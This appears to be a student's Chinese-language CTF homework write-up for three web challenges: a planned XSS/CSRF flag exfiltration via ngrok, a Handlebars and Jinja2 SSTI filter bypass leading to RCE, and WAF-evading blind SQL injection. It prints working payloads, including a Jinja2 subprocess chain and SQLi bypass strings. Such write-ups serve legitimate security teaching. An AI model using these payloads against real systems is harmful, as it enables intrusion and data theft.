# 程式安全 Web Hw5 WriteUp ## [0x02] Profile Card [300] 原本架了一個惡意網頁試著去讓bot去fetch /flag的東西回來給我的ngrok,不過因為CSP的script-src : self,被擋下來惹,只能透過他的網域底下的腳本去對/flag做請求。因此推出大概流程應該是先 xss 他的 profile card 讓他從同個domain下去存取flag頁面再把responsen丟到我的ngrok上,再來利用 csrf 讓 xssbot 從我架的惡意網站送請求把 profile card 填入剛剛的 xss payload,使他觸發那段 xss code(他update的code是寫在/static/app.js,與profile card同源,因此應該可以呼叫)。 雖然後續架站,頁面都先弄好了,不過我卡在第一階段的 xss payload 找不到QQ,XSS cheat sheet 上的 payload 快被我全部試過一輪了還是沒有頭緒,~~倒是戳出了500 error~~。 ## [0x02] Double SSTI [150] 首先檢查原始碼,發現`<a href="/source">Source code</a>`這行被註解掉了,就先來看一下/source檔,看到關鍵字 handlebars 很陌生,google了一下,簡單來說是一種模板語言。 根據原始碼,template有兩個東西可以輸出,但是上一行compile只有一個欄位,因此只會輸出name,並不會輸出後面隱藏的Secret。 ``` const template = handlebars.compile(`<h1>Hello ${name}! SSTI me plz.</h1>`); response.send(template({ name, secret })); ``` 研究了一下 handlebars 語法,發現有個她有個神奇的語法 `#each` 語法可以試著將secret撈出來,因此試著輸入`{{#each this}} {{Alice}}{{this}} {{/each}}`後,成功撈出secret了! ![](https://i.imgur.com/Hhmt2Wu.png) 將secret帶到原始檔洩漏的/2nd_stage_$(secret)頁面後又是另一個新的輸入頁面,這個頁面沒有任何原始檔可以參考,但是一開始提供的原始檔有提到這是使用jinja套件。 試著輸入`{{7*7}}`會返回79,但是試著輸入`{{().__class__}}`會直接被判定為hacker,因此需要一些繞過的方法,稍微檢查了一下`_`、`[]`都被阻擋了。 參照這篇[refefence](https://medium.com/@nyomanpradipta120/jinja2-ssti-filter-bypasses-a8d3eb7b000f)提供的bypass方法 > _ => \x5f > [] => __getitem__ > attr(obj,name) 因此當我輸入`{{()|attr('\x5f\x5fclass\x5f\x5f')}}`時,成功SSTI,最終拿到flag的RCE 程式碼如下 ` {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(283)('cat /y000_i_am_za_fl4g',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} ` ## [0x02] Log me in: FINAL [200] 提示說要戳500 Error page,就試著戳了一下,發現輸入`\'`會成功戳出一個500頁面來,發現一小段原始碼,猜測是用Ruby撰寫的 ![](https://i.imgur.com/QIgggAz.png) > * Hash[]是一個Ruby內建的API可以把陣列轉成Hash型別 > * map()會將value做sqli_waf()處理後丟回來 簡單來說這段程式碼會將輸入以Sqli_waf()函數轉換出來再加上slashes去做查詢避免SQLI,但因為好像沒看到其他有關sqli_waf函數的程式碼就先不理她,找了一下繞過addslashes()函數的方法,主要有兩種 > 1. GBK繞過: mysql在使用GBK編碼時,會將2個字節當作一個漢字,因此輸入`%df%27`時,經過addslashes()會變成`%df%5c%27`,這時`%df%5c`就會被當成一個漢字處理,使得`%27(單引號)`成功繞過 > 2. slash加在特殊符號前,會使得特殊符號無意義,僅當成一般字符輸入做處理,因此\'會使單引號失效,那我們在前面再加一個slash就會使得slash失效,解讀為`\\`、`'`兩部分。 首先先用GBK方法戳了一下,發現了一個新的500 error page,成功戳出sqli_waf()的原始碼! ![](https://i.imgur.com/6LRn7yu.png) > gsub()函數就是將字串中含有的第一個參數轉換為第二個參數,所以我們輸入的or跟=都會被轉換成空字串 根據上面這些字串,找了一些繞過的方法 1. union => UNIunionON / select => SELselectECT / where => WHEwhhereRE 2. and、or => &&、|| 3. = => like 4. 'admin' => CHAR(97, 100, 109, 105, 110) 5. 空白 => /**/ 因此當我輸入`\'||3>2#`就成功登入了,只不過沒什麼東西。接著試著遠端連了一下db,不過都失敗,應該是沒有特地開啟(預設關閉),最後只好做blind SQLI了QQ `\'||length(user())>0#`因為||前是false,所以對錯看OR後面的運算,若對了就會進到welcome的頁面,反之則不是,用這個邏輯去盲拆password。 ![](https://i.imgur.com/5OoEt6q.png) 寫了個簡單的script跑了一下,試著抓length(password>6)的密碼出來,用兩個迴圈分別去暴力解第i個位置,ascii code為j值。結果被告知FLAG在另外一個tableQQ 只好乖乖的分別是猜table、column的值,不過因為script大同小異,差別在於指令,這邊就只放指令上來。 * Table `'\'||/**/ascii(mid((SELselectECT/**/group_concat(table_name)/**/FROM/**/infoorrmation_schema.tables/**/WHEwhereRE/**/table_schema/**/like/**/CHAR(100,98)),'+str(i)+',1))>'+str(j)+'#'` * Column `'\'||/**/ascii(mid((SELselectECT/**/group_concat(column_name)/**/FROM/**/infoorrmation_schema.columns/**/WHEwhereRE/**/table_schema/**/like/**/CHAR(100,98)),'+str(i)+',1))>'+str(j)+'#'` 得到`Table name:h3y_here_15_the_flag_y0u_w4nt,meow,flag`、`Column name:i_4m_th3_fl4g` 因為Table name有逗號,所以要用反引號括起來,~~結果這邊卡了最久~~QQ,最後再去跑script,就成功拿到了!!